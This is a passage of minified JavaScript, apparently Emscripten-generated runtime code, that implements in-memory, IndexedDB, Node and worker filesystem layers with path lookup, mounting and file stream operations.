n=e.entries[t],a=r.entries[t];(!a||n.timestamp>a.timestamp)&&(i.push(t),o++)});var a=[];if(Object.keys(r.entries).forEach(function(t){r.entries[t];e.entries[t]||(a.push(t),o++)}),!o)return t(null);var s=0,u=(\"remote\"===e.type?e.db:r.db).transaction([IDBFS.DB_STORE_NAME],\"readwrite\"),l=u.objectStore(IDBFS.DB_STORE_NAME);u.onerror=function(e){n(this.error),e.preventDefault()},i.sort().forEach(function(e){\"local\"===r.type?IDBFS.loadRemoteEntry(l,e,function(r,t){if(r)return n(r);IDBFS.storeLocalEntry(e,t,n)}):IDBFS.loadLocalEntry(e,function(r,t){if(r)return n(r);IDBFS.storeRemoteEntry(l,e,t,n)})}),a.sort().reverse().forEach(function(e){\"local\"===r.type?IDBFS.removeLocalEntry(e,n):IDBFS.removeRemoteEntry(l,e,n)})}},NODEFS={isWindows:!1,staticInit:function(){NODEFS.isWindows=!!process.platform.match(/^win/)},mount:function(e){return assert(ENVIRONMENT_IS_NODE),NODEFS.createNode(null,\"/\",NODEFS.getMode(e.opts.root),0)},createNode:function(e,r,t,n){if(!FS.isDir(t)&&!FS.isFile(t)&&!FS.isLink(t))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var o=FS.createNode(e,r,t);return o.node_ops=NODEFS.node_ops,o.stream_ops=NODEFS.stream_ops,o},getMode:function(e){var r;try{r=fs.lstatSync(e),NODEFS.isWindows&&(r.mode=r.mode|(146&r.mode)>>1)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return r.mode},realPath:function(e){for(var r=[];e.parent!==e;)r.push(e.name),e=e.parent;return r.push(e.mount.opts.root),r.reverse(),PATH.join.apply(null,r)},flagsToPermissionStringMap:{0:\"r\",1:\"r+\",2:\"r+\",64:\"r\",65:\"r+\",66:\"r+\",129:\"rx+\",193:\"rx+\",514:\"w+\",577:\"w\",578:\"w+\",705:\"wx\",706:\"wx+\",1024:\"a\",1025:\"a\",1026:\"a+\",1089:\"a\",1090:\"a+\",1153:\"ax\",1154:\"ax+\",1217:\"ax\",1218:\"ax+\",4096:\"rs\",4098:\"rs+\"},flagsToPermissionString:function(e){if(e&=-2097153,e&=-2049,e&=-32769,(e&=-524289)in NODEFS.flagsToPermissionStringMap)return NODEFS.flagsToPermissionStringMap[e];throw new FS.ErrnoError(ERRNO_CODES.EINVAL)},node_ops:{getattr:function(e){var r,t=NODEFS.realPath(e);try{r=fs.lstatSync(t)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return NODEFS.isWindows&&!r.blksize&&(r.blksize=4096),NODEFS.isWindows&&!r.blocks&&(r.blocks=(r.size+r.blksize-1)/r.blksize|0),{dev:r.dev,ino:r.ino,mode:r.mode,nlink:r.nlink,uid:r.uid,gid:r.gid,rdev:r.rdev,size:r.size,atime:r.atime,mtime:r.mtime,ctime:r.ctime,blksize:r.blksize,blocks:r.blocks}},setattr:function(e,r){var t=NODEFS.realPath(e);try{if(void 0!==r.mode&&(fs.chmodSync(t,r.mode),e.mode=r.mode),void 0!==r.timestamp){var n=new Date(r.timestamp);fs.utimesSync(t,n,n)}void 0!==r.size&&fs.truncateSync(t,r.size)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},lookup:function(e,r){var t=PATH.join2(NODEFS.realPath(e),r),n=NODEFS.getMode(t);return NODEFS.createNode(e,r,n)},mknod:function(e,r,t,n){var o=NODEFS.createNode(e,r,t,n),i=NODEFS.realPath(o);try{FS.isDir(o.mode)?fs.mkdirSync(i,o.mode):fs.writeFileSync(i,\"\",{mode:o.mode})}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}return o},rename:function(e,r,t){var n=NODEFS.realPath(e),o=PATH.join2(NODEFS.realPath(r),t);try{fs.renameSync(n,o)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},unlink:function(e,r){var t=PATH.join2(NODEFS.realPath(e),r);try{fs.unlinkSync(t)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},rmdir:function(e,r){var t=PATH.join2(NODEFS.realPath(e),r);try{fs.rmdirSync(t)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},readdir:function(e){var r=NODEFS.realPath(e);try{return fs.readdirSync(r)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},symlink:function(e,r,t){var n=PATH.join2(NODEFS.realPath(e),r);try{fs.symlinkSync(t,n)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},readlink:function(e){var r=NODEFS.realPath(e);try{return r=fs.readlinkSync(r),r=NODEJS_PATH.relative(NODEJS_PATH.resolve(e.mount.opts.root),r)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}}},stream_ops:{open:function(e){var r=NODEFS.realPath(e.node);try{FS.isFile(e.node.mode)&&(e.nfd=fs.openSync(r,NODEFS.flagsToPermissionString(e.flags)))}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},close:function(e){try{FS.isFile(e.node.mode)&&e.nfd&&fs.closeSync(e.nfd)}catch(e){if(!e.code)throw e;throw new FS.ErrnoError(ERRNO_CODES[e.code])}},read:function(e,r,t,n,o){if(0===n)return 0;var i,a=new Buffer(n);try{i=fs.readSync(e.nfd,a,0,n,o)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(i>0)for(var s=0;s<i;s++)r[t+s]=a[s];return i},write:function(e,r,t,n,o){var i,a=new Buffer(r.subarray(t,t+n));try{i=fs.writeSync(e.nfd,a,0,n,o)}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}return i},llseek:function(e,r,t){var n=r;if(1===t)n+=e.position;else if(2===t&&FS.isFile(e.node.mode))try{n+=fs.fstatSync(e.nfd).size}catch(e){throw new FS.ErrnoError(ERRNO_CODES[e.code])}if(n<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return n}}},WORKERFS={DIR_MODE:16895,FILE_MODE:33279,reader:null,mount:function(e){function r(e){for(var r=e.split(\"/\"),t=n,i=0;i<r.length-1;i++){var a=r.slice(0,i+1).join(\"/\");o[a]||(o[a]=WORKERFS.createNode(t,r[i],WORKERFS.DIR_MODE,0)),t=o[a]}return t}function t(e){var r=e.split(\"/\");return r[r.length-1]}assert(ENVIRONMENT_IS_WORKER),WORKERFS.reader||(WORKERFS.reader=new FileReaderSync);var n=WORKERFS.createNode(null,\"/\",WORKERFS.DIR_MODE,0),o={};return Array.prototype.forEach.call(e.opts.files||[],function(e){WORKERFS.createNode(r(e.name),t(e.name),WORKERFS.FILE_MODE,0,e,e.lastModifiedDate)}),(e.opts.blobs||[]).forEach(function(e){WORKERFS.createNode(r(e.name),t(e.name),WORKERFS.FILE_MODE,0,e.data)}),(e.opts.packages||[]).forEach(function(e){e.metadata.files.forEach(function(n){var o=n.filename.substr(1);WORKERFS.createNode(r(o),t(o),WORKERFS.FILE_MODE,0,e.blob.slice(n.start,n.end))})}),n},createNode:function(e,r,t,n,o,i){var a=FS.createNode(e,r,t);return a.mode=t,a.node_ops=WORKERFS.node_ops,a.stream_ops=WORKERFS.stream_ops,a.timestamp=(i||new Date).getTime(),assert(WORKERFS.FILE_MODE!==WORKERFS.DIR_MODE),t===WORKERFS.FILE_MODE?(a.size=o.size,a.contents=o):(a.size=4096,a.contents={}),e&&(e.contents[r]=a),a},node_ops:{getattr:function(e){return{dev:1,ino:void 0,mode:e.mode,nlink:1,uid:0,gid:0,rdev:void 0,size:e.size,atime:new Date(e.timestamp),mtime:new Date(e.timestamp),ctime:new Date(e.timestamp),blksize:4096,blocks:Math.ceil(e.size/4096)}},setattr:function(e,r){void 0!==r.mode&&(e.mode=r.mode),void 0!==r.timestamp&&(e.timestamp=r.timestamp)},lookup:function(e,r){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)},mknod:function(e,r,t,n){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},rename:function(e,r,t){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},unlink:function(e,r){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},rmdir:function(e,r){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},readdir:function(e){var r=[\".\",\"..\"];for(var t in e.contents)e.contents.hasOwnProperty(t)&&r.push(t);return r},symlink:function(e,r,t){throw new FS.ErrnoError(ERRNO_CODES.EPERM)},readlink:function(e){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}},stream_ops:{read:function(e,r,t,n,o){if(o>=e.node.size)return 0;var i=e.node.contents.slice(o,o+n),a=WORKERFS.reader.readAsArrayBuffer(i);return r.set(new Uint8Array(a),t),i.size},write:function(e,r,t,n,o){throw new FS.ErrnoError(ERRNO_CODES.EIO)},llseek:function(e,r,t){var n=r;if(1===t?n+=e.position:2===t&&FS.isFile(e.node.mode)&&(n+=e.node.size),n<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return n}}};STATICTOP+=16,STATICTOP+=16,STATICTOP+=16;var FS={root:null,mounts:[],devices:[null],streams:[],nextInode:1,nameTable:null,currentPath:\"/\",initialized:!1,ignorePermissions:!0,trackingDelegate:{},tracking:{openFlags:{READ:1,WRITE:2}},ErrnoError:null,genericErrors:{},filesystems:null,syncFSRequests:0,handleFSError:function(e){if(!(e instanceof FS.ErrnoError))throw e+\" : \"+stackTrace();return ___setErrNo(e.errno)},lookupPath:function(e,r){if(e=PATH.resolve(FS.cwd(),e),r=r||{},!e)return{path:\"\",node:null};var t={follow_mount:!0,recurse_count:0};for(var n in t)void 0===r[n]&&(r[n]=t[n]);if(r.recurse_count>8)throw new FS.ErrnoError(ERRNO_CODES.ELOOP);for(var o=PATH.normalizeArray(e.split(\"/\").filter(function(e){return!!e}),!1),i=FS.root,a=\"/\",s=0;s<o.length;s++){var u=s===o.length-1;if(u&&r.parent)break;if(i=FS.lookupNode(i,o[s]),a=PATH.join2(a,o[s]),FS.isMountpoint(i)&&(!u||u&&r.follow_mount)&&(i=i.mounted.root),!u||r.follow)for(var l=0;FS.isLink(i.mode);){var c=FS.readlink(a);a=PATH.resolve(PATH.dirname(a),c);if(i=FS.lookupPath(a,{recurse_count:r.recurse_count}).node,l++>40)throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}}return{path:a,node:i}},getPath:function(e){for(var r;;){if(FS.isRoot(e)){var t=e.mount.mountpoint;return r?\"/\"!==t[t.length-1]?t+\"/\"+r:t+r:t}r=r?e.name+\"/\"+r:e.name,e=e.parent}},hashName:function(e,r){for(var t=0,n=0;n<r.length;n++)t=(t<<5)-t+r.charCodeAt(n)|0;return(e+t>>>0)%FS.nameTable.length},hashAddNode:function(e){var r=FS.hashName(e.parent.id,e.name);e.name_next=FS.nameTable[r],FS.nameTable[r]=e},hashRemoveNode:function(e){var r=FS.hashName(e.parent.id,e.name);if(FS.nameTable[r]===e)FS.nameTable[r]=e.name_next;else for(var t=FS.nameTable[r];t;){if(t.name_next===e){t.name_next=e.name_next;break}t=t.name_next}},lookupNode:function(e,r){var t=FS.mayLookup(e);if(t)throw new FS.ErrnoError(t,e);for(var n=FS.hashName(e.id,r),o=FS.nameTable[n];o;o=o.name_next){var i=o.name;if(o.parent.id===e.id&&i===r)return o}return FS.lookup(e,r)},createNode:function(e,r,t,n){if(!FS.FSNode){FS.FSNode=function(e,r,t,n){e||(e=this),this.parent=e,this.mount=e.mount,this.mounted=null,this.id=FS.nextInode++,this.name=r,this.mode=t,this.node_ops={},this.stream_ops={},this.rdev=n},FS.FSNode.prototype={};Object.defineProperties(FS.FSNode.prototype,{read:{get:function(){return 365==(365&this.mode)},set:function(e){e?this.mode|=365:this.mode&=-366}},write:{get:function(){return 146==(146&this.mode)},set:function(e){e?this.mode|=146:this.mode&=-147}},isFolder:{get:function(){return FS.isDir(this.mode)}},isDevice:{get:function(){return FS.isChrdev(this.mode)}}})}var o=new FS.FSNode(e,r,t,n);return FS.hashAddNode(o),o},destroyNode:function(e){FS.hashRemoveNode(e)},isRoot:function(e){return e===e.parent},isMountpoint:function(e){return!!e.mounted},isFile:function(e){return 32768==(61440&e)},isDir:function(e){return 16384==(61440&e)},isLink:function(e){return 40960==(61440&e)},isChrdev:function(e){return 8192==(61440&e)},isBlkdev:function(e){return 24576==(61440&e)},isFIFO:function(e){return 4096==(61440&e)},isSocket:function(e){return 49152==(49152&e)},flagModes:{r:0,rs:1052672,\"r+\":2,w:577,wx:705,xw:705,\"w+\":578,\"wx+\":706,\"xw+\":706,a:1089,ax:1217,xa:1217,\"a+\":1090,\"ax+\":1218,\"xa+\":1218},modeStringToFlags:function(e){var r=FS.flagModes[e];if(void 0===r)throw new Error(\"Unknown file open mode: \"+e);return r},flagsToPermissionString:function(e){var r=[\"r\",\"w\",\"rw\"][3&e];return 512&e&&(r+=\"w\"),r},nodePermissions:function(e,r){return FS.ignorePermissions?0:(-1===r.indexOf(\"r\")||292&e.mode)&&(-1===r.indexOf(\"w\")||146&e.mode)&&(-1===r.indexOf(\"x\")||73&e.mode)?0:ERRNO_CODES.EACCES},mayLookup:function(e){var r=FS.nodePermissions(e,\"x\");return r||(e.node_ops.lookup?0:ERRNO_CODES.EACCES)},mayCreate:function(e,r){try{FS.lookupNode(e,r);return ERRNO_CODES.EEXIST}catch(e){}return FS.nodePermissions(e,\"wx\")},mayDelete:function(e,r,t){var n;try{n=FS.lookupNode(e,r)}catch(e){return e.errno}var o=FS.nodePermissions(e,\"wx\");if(o)return o;if(t){if(!FS.isDir(n.mode))return ERRNO_CODES.ENOTDIR;if(FS.isRoot(n)||FS.getPath(n)===FS.cwd())return ERRNO_CODES.EBUSY}else if(FS.isDir(n.mode))return ERRNO_CODES.EISDIR;return 0},mayOpen:function(e,r){return e?FS.isLink(e.mode)?ERRNO_CODES.ELOOP:FS.isDir(e.mode)&&(\"r\"!==FS.flagsToPermissionString(r)||512&r)?ERRNO_CODES.EISDIR:FS.nodePermissions(e,FS.flagsToPermissionString(r)):ERRNO_CODES.ENOENT},MAX_OPEN_FDS:4096,nextfd:function(e,r){e=e||0,r=r||FS.MAX_OPEN_FDS;for(var t=e;t<=r;t++)if(!FS.streams[t])return t;throw new FS.ErrnoError(ERRNO_CODES.EMFILE)},getStream:function(e){return FS.streams[e]},createStream:function(e,r,t){FS.FSStream||(FS.FSStream=function(){},FS.FSStream.prototype={},Object.defineProperties(FS.FSStream.prototype,{object:{get:function(){return this.node},set:function(e){this.node=e}},isRead:{get:function(){return 1!=(2097155&this.flags)}},isWrite:{get:function(){return 0!=(2097155&this.flags)}},isAppend:{get:function(){return 1024&this.flags}}}));var n=new FS.FSStream;for(var o in e)n[o]=e[o];e=n;var i=FS.nextfd(r,t);return e.fd=i,FS.streams[i]=e,e},closeStream:function(e){FS.streams[e]=null},chrdev_stream_ops:{open:function(e){var r=FS.getDevice(e.node.rdev);e.stream_ops=r.stream_ops,e.stream_ops.open&&e.stream_ops.open(e)},llseek:function(){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}},major:function(e){return e>>8},minor:function(e){return 255&e},makedev:function(e,r){return e<<8|r},registerDevice:function(e,r){FS.devices[e]={stream_ops:r}},getDevice:function(e){return FS.devices[e]},getMounts:function(e){for(var r=[],t=[e];t.length;){var n=t.pop();r.push(n),t.push.apply(t,n.mounts)}return r},syncfs:function(e,r){function t(e){return assert(FS.syncFSRequests>0),FS.syncFSRequests--,r(e)}function n(e){if(e){if(!n.errored)return n.errored=!0,t(e)}else++i>=o.length&&t(null)}\"function\"==typeof e&&(r=e,e=!1),FS.syncFSRequests++,FS.syncFSRequests>1&&console.log(\"warning: \"+FS.syncFSRequests+\" FS.syncfs operations in flight at once, probably just doing extra work\");var o=FS.getMounts(FS.root.mount),i=0;o.forEach(function(r){if(!r.type.syncfs)return n(null);r.type.syncfs(r,e,n)})},mount:function(e,r,t){var n,o=\"/\"===t,i=!t;if(o&&FS.root)throw new FS.ErrnoError(ERRNO_CODES.EBUSY);if(!o&&!i){var a=FS.lookupPath(t,{follow_mount:!1});if(t=a.path,n=a.node,FS.isMountpoint(n))throw new FS.ErrnoError(ERRNO_CODES.EBUSY);if(!FS.isDir(n.mode))throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}var s={type:e,opts:r,mountpoint:t,mounts:[]},u=e.mount(s);return u.mount=s,s.root=u,o?FS.root=u:n&&(n.mounted=s,n.mount&&n.mount.mounts.push(s)),u},unmount:function(e){var r=FS.lookupPath(e,{follow_mount:!1});if(!FS.isMountpoint(r.node))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var t=r.node,n=t.mounted,o=FS.getMounts(n);Object.keys(FS.nameTable).forEach(function(e){for(var r=FS.nameTable[e];r;){var t=r.name_next;-1!==o.indexOf(r.mount)&&FS.destroyNode(r),r=t}}),t.mounted=null;var i=t.mount.mounts.indexOf(n);assert(-1!==i),t.mount.mounts.splice(i,1)},lookup:function(e,r){return e.node_ops.lookup(e,r)},mknod:function(e,r,t){var n=FS.lookupPath(e,{parent:!0}).node,o=PATH.basename(e);if(!o||\".\"===o||\"..\"===o)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var i=FS.mayCreate(n,o);if(i)throw new FS.ErrnoError(i);if(!n.node_ops.mknod)throw new FS.ErrnoError(ERRNO_CODES.EPERM);return n.node_ops.mknod(n,o,r,t)},create:function(e,r){return r=void 0!==r?r:438,r&=4095,r|=32768,FS.mknod(e,r,0)},mkdir:function(e,r){return r=void 0!==r?r:511,r&=1023,r|=16384,FS.mknod(e,r,0)},mkdirTree:function(e,r){for(var t=e.split(\"/\"),n=\"\",o=0;o<t.length;++o)if(t[o]){n+=\"/\"+t[o];try{FS.mkdir(n,r)}catch(e){if(e.errno!=ERRNO_CODES.EEXIST)throw e}}},mkdev:function(e,r,t){return void 0===t&&(t=r,r=438),r|=8192,FS.mknod(e,r,t)},symlink:function(e,r){if(!PATH.resolve(e))throw new FS.ErrnoError(ERRNO_CODES.ENOENT);var t=FS.lookupPath(r,{parent:!0}).node;if(!t)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);var n=PATH.basename(r),o=FS.mayCreate(t,n);if(o)throw new FS.ErrnoError(o);if(!t.node_ops.symlink)throw new FS.ErrnoError(ERRNO_CODES.EPERM);return t.node_ops.symlink(t,n,e)},rename:function(e,r){var t,n,o=PATH.dirname(e),i=PATH.dirname(r),a=PATH.basename(e),s=PATH.basename(r);try{t=FS.lookupPath(e,{parent:!0}).node,n=FS.lookupPath(r,{parent:!0}).node}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!t||!n)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(t.mount!==n.mount)throw new FS.ErrnoError(ERRNO_CODES.EXDEV);var u=FS.lookupNode(t,a),l=PATH.relative(e,i);if(\".\"!==l.charAt(0))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);if(\".\"!==(l=PATH.relative(r,o)).charAt(0))throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY);var c;try{c=FS.lookupNode(n,s)}catch(e){}if(u!==c){var d=FS.isDir(u.mode),E=FS.mayDelete(t,a,d);if(E)throw new FS.ErrnoError(E);if(E=c?FS.mayDelete(n,s,d):FS.mayCreate(n,s))throw new FS.ErrnoError(E);if(!t.node_ops.rename)throw new FS.ErrnoError(ERRNO_CODES.EPERM);if(FS.isMountpoint(u)||c&&FS.isMountpoint(c))throw new FS.ErrnoError(ERRNO_CODES.EBUSY);if(n!==t&&(E=FS.nodePermissions(t,\"w\")))throw new FS.ErrnoError(E);try{FS.trackingDelegate.willMovePath&&FS.trackingDelegate.willMovePath(e,r)}catch(t){console.log(\"FS.trackingDelegate['willMovePath']('\"+e+\"', '\"+r+\"') threw an exception: \"+t.message)}FS.hashRemoveNode(u);try{t.node_ops.rename(u,n,s)}catch(e){throw e}finally{FS.hashAddNode(u)}try{FS.trackingDelegate.onMovePath&&FS.trackingDelegate.onMovePath(e,r)}catch(t){console.log(\"FS.trackingDelegate['onMovePath']('\"+e+\"', '\"+r+\"') threw an exception: \"+t.message)}}},rmdir:function(e){var r=FS.lookupPath(e,{parent:!0}).node,t=PATH.basename(e),n=FS.lookupNode(r,t),o=FS.mayDelete(r,t,!0);if(o)throw new FS.ErrnoError(o);if(!r.node_ops.rmdir)throw new FS.ErrnoError(ERRNO_CODES.EPERM);if(FS.isMountpoint(n))throw new FS.ErrnoError(ERRNO_CODES.EBUSY);try{FS.trackingDelegate.willDeletePath&&FS.trackingDelegate.willDeletePath(e)}catch(r){console.log(\"FS.trackingDelegate['willDeletePath']('\"+e+\"') threw an exception: \"+r.message)}r.node_ops.rmdir(r,t),FS.destroyNode(n);try{FS.trackingDelegate.onDeletePath&&FS.trackingDelegate.onDeletePath(e)}catch(r){console.log(\"FS.trackingDelegate['onDeletePath']('\"+e+\"') threw an exception: \"+r.message)}},readdir:function(e){var r=FS.lookupPath(e,{follow:!0}).node;if(!r.node_ops.readdir)throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR);return r.node_ops.readdir(r)},unlink:function(e){var r=FS.lookupPath(e,{parent:!0}).node,t=PATH.basename(e),n=FS.lookupNode(r,t),o=FS.mayDelete(r,t,!1);if(o)throw new FS.ErrnoError(o);if(!r.node_ops.unlink)throw new FS.ErrnoError(ERRNO_CODES.EPERM);if(FS.isMountpoint(n))throw new FS.ErrnoError(ERRNO_CODES.EBUSY);try{FS.trackingDelegate.willDeletePath&&FS.trackingDelegate.willDeletePath(e)}catch(r){console.log(\"FS.trackingDelegate['willDeletePath']('\"+e+\"') threw an exception: \"+r.message)}r.node_ops.unlink(r,t),FS.destroyNode(n);try{FS.trackingDelegate.onDeletePath&&FS.trackingDelegate.onDeletePath(e)}catch(r){console.log(\"FS.trackingDelegate['onDeletePath']('\"+e+\"') threw an exception: \"+r.message)}},readlink:function(e){var r=FS.lookupPath(e).node;if(!r)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(!r.node_ops.readlink)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);return PATH.resolve(FS.getPath(r.parent),r.node_ops.readlink(r))},stat:function(e,r){var t=FS.lookupPath(e,{follow:!r}).node;if(!t)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(!t.node_ops.getattr)throw new FS.ErrnoError(ERRNO_CODES.EPERM);return t.node_ops.getattr(t)},lstat:function(e){return FS.stat(e,!0)},chmod:function(e,r,t){var n;if(\"string\"==typeof e){n=FS.lookupPath(e,{follow:!t}).node}else n=e;if(!n.node_ops.setattr)throw new FS.ErrnoError(ERRNO_CODES.EPERM);n.node_ops.setattr(n,{mode:4095&r|-4096&n.mode,timestamp:Date.now()})},lchmod:function(e,r){FS.chmod(e,r,!0)},fchmod:function(e,r){var t=FS.getStream(e);if(!t)throw new FS.ErrnoError(ERRNO_CODES.EBADF);FS.chmod(t.node,r)},chown:function(e,r,t,n){var o;if(\"string\"==typeof e){o=FS.lookupPath(e,{follow:!n}).node}else o=e;if(!o.node_ops.setattr)throw new FS.ErrnoError(ERRNO_CODES.EPERM);o.node_ops.setattr(o,{timestamp:Date.now()})},lchown:function(e,r,t){FS.chown(e,r,t,!0)},fchown:function(e,r,t){var n=FS.getStream(e);if(!n)throw new FS.ErrnoError(ERRNO_CODES.EBADF);FS.chown(n.node,r,t)},truncate:function(e,r){if(r<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var t;if(\"string\"==typeof e){t=FS.lookupPath(e,{follow:!0}).node}else t=e;if(!t.node_ops.setattr)throw new FS.ErrnoError(ERRNO_CODES.EPERM);if(FS.isDir(t.mode))throw new FS.ErrnoError(ERRNO_CODES.EISDIR);if(!FS.isFile(t.mode))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var n=FS.nodePermissions(t,\"w\");if(n)throw new FS.ErrnoError(n);t.node_ops.setattr(t,{size:r,timestamp:Date.now()})},ftruncate:function(e,r){var t=FS.getStream(e);if(!t)throw new FS.ErrnoError(ERRNO_CODES.EBADF);if(0==(2097155&t.flags))throw new FS.ErrnoError(ERRNO_CODES.EINVAL);FS.truncate(t.node,r)},utime:function(e,r,t){var n=FS.lookupPath(e,{follow:!0}).node;n.node_ops.setattr(n,{timestamp:Math.max(r,t)})},open:function(e,r,t,n,o){if(\"\"===e)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);r=\"string\"==typeof r?FS.modeStringToFlags(r):r,t=void 0===t?438:t,t=64&r?4095&t|32768:0;var i;if(\"object\"==typeof e)i=e;else{e=PATH.normalize(e);try{i=FS.lookupPath(e,{follow:!(131072&r)}).node}catch(e){}}var a=!1;if(64&r)if(i){if(128&r)throw new FS.ErrnoError(ERRNO_CODES.EEXIST)}else i=FS.mknod(e,t,0),a=!0;if(!i)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(FS.isChrdev(i.mode)&&(r&=-513),65536&r&&!FS.isDir(i.mode))throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR);if(!a){var s=FS.mayOpen(i,r);if(s)throw new FS.ErrnoError(s)}512&r&&FS.truncate(i,0),r&=-641;var u=FS.createStream({node:i,path:FS.getPath(i),flags:r,seekable:!0,position:0,stream_ops:i.stream_ops,ungotten:[],error:!1},n,o);u.stream_ops.open&&u.stream_ops.open(u),!Module.logReadFiles||1&r||(FS.readFiles||(FS.readFiles={}),e in FS.readFiles||(FS.readFiles[e]=1,Module.printErr(\"read file: \"+e)));try{if(FS.trackingDelegate.onOpenFile){var l=0;1!=(2097155&r)&&(l|=FS.tracking.openFlags.READ),0!=(2097155&r)&&(l|=FS.tracking.openFlags.WRITE),FS.trackingDelegate.onOpenFile(e,l)}}catch(r){console.log(\"FS.trackingDelegate['onOpenFile']('\"+e+\"', flags) threw an exception: \"+r.message)}return u},close:function(e){e.getdents&&(e.getdents=null);try{e.stream_ops.close&&e.stream_ops.close(e)}catch(e){throw e}finally{FS.closeStream(e.fd)}},llseek:function(e,r,t){if(!e.seekable||!e.stream_ops.llseek)throw new FS.ErrnoError(ERRNO_CODES.ESPIPE);return e.position=e.stream_ops.llseek(e,r,t),e.ungotten=[],e.position},read:function(e,r,t,n,o){if(n<0||o<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);if(1==(2097155&e.flags))throw new FS.ErrnoError(ERRNO_CODES.EBADF);if(FS.isDir(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.EISDIR);if(!e.stream_ops.read)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);var i=!0;if(void 0===o)o=e.position,i=!1;else if(!e.seekable)throw new FS.ErrnoError(ERRNO_CODES.ESPIPE);var a=e.stream_ops.read(e,r,t,n,o);return i||(e.position+=a),a},write:function(e,r,t,n,o,i){if(n<0||o<0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);if(0==(2097155&e.flags))throw new FS.ErrnoError(ERRNO_CODES.EBADF);if(FS.isDir(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.EISDIR);if(!e.stream_ops.write)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);1024&e.flags&&FS.llseek(e,0,2);var a=!0;if(void 0===o)o=e.position,a=!1;else if(!e.seekable)throw new FS.ErrnoError(ERRNO_CODES.ESPIPE);var s=e.stream_ops.write(e,r,t,n,o,i);a||(e.position+=s);try{e.path&&FS.trackingDelegate.onWriteToFile&&FS.trackingDelegate.onWriteToFile(e.path)}catch(e){console.log(\"FS.trackingDelegate['onWriteToFile']('\"+path+\"') threw an exception: \"+e.message)}return s},allocate:function(e,r,t){if(r<0||t<=0)throw new FS.ErrnoError(ERRNO_CODES.EINVAL);if(0==(2097155&e.flags))throw new FS.ErrnoError(ERRNO_CODES.EBADF);if(!FS.isFile(e.node.mode)&&!FS.isDir(e.node.mode))throw new FS.ErrnoError(ERRNO_CODES.ENODEV);if(!e.stream_ops.allocate)throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP);e.stream_ops.allocate(e,r,t)},mmap:function(e,r,t,n,o,i,a){if(1==(2097155&e.flags))throw new FS.ErrnoError(ERRNO_CODES.EACCES);if(!e.stream_ops.mmap)throw new FS.ErrnoError(ERRNO_CODES.ENODEV);return e.stream_ops.mmap(e,r,t,n,o,i,a)},msync:function(e,r,t,n,o){return e&&e.stream_ops.msync?e.stream_ops.msync(e,r,t,n,o):0},munmap:function(e){return 0},ioctl:function(e,r,t){if(!e.stream_ops.ioctl)throw new FS.ErrnoError(ERRNO_CODES.ENOTTY);return e.stream_ops.ioctl(e,r,t)},readFile:function(e,r){if(r=r||{},r.flags=r.flags||\"r\",r.encoding=r.encoding||\"binary\",\"utf8\"!==r.encoding&&\"binary\"!==r.encoding)throw new Error('Invalid encoding type \"'+r.encoding+'\"');var t,n=FS.open(e,r.flags),o=FS.stat(e).size,i=new Uint8Array(o);return FS.read(n,i,0,o,0),\"utf8\"===r.encoding?t=UTF8ArrayToString(i,0):\"binary\"===r.encoding&&(t=i),FS.close(n),t},writeFile:function(e,r,t){if(t=t||{},t.flags=t.flags||\"w\",t.encoding=t.encoding||\"utf8\",\"utf8\"!==t.encoding&&\"binary\"!==t.encoding)throw new Error('Invalid encoding type \"'+t.encoding+'\"');var n=FS.open(e,t.flags,t.mode);if(\"utf8\"===t.encoding){var o=new Uint8Array(lengthBytesUTF8(r)+1),i=stringToUTF8Array(r,o,0,o.length);FS.write(n,o,0,i,0,t.canOwn)}else\"binary\"===t.encoding&&FS.write(n,r,0,r.length,0,t.canOwn);FS.close(n)},cwd:function(){return FS.currentPath},chdir:function(e){var 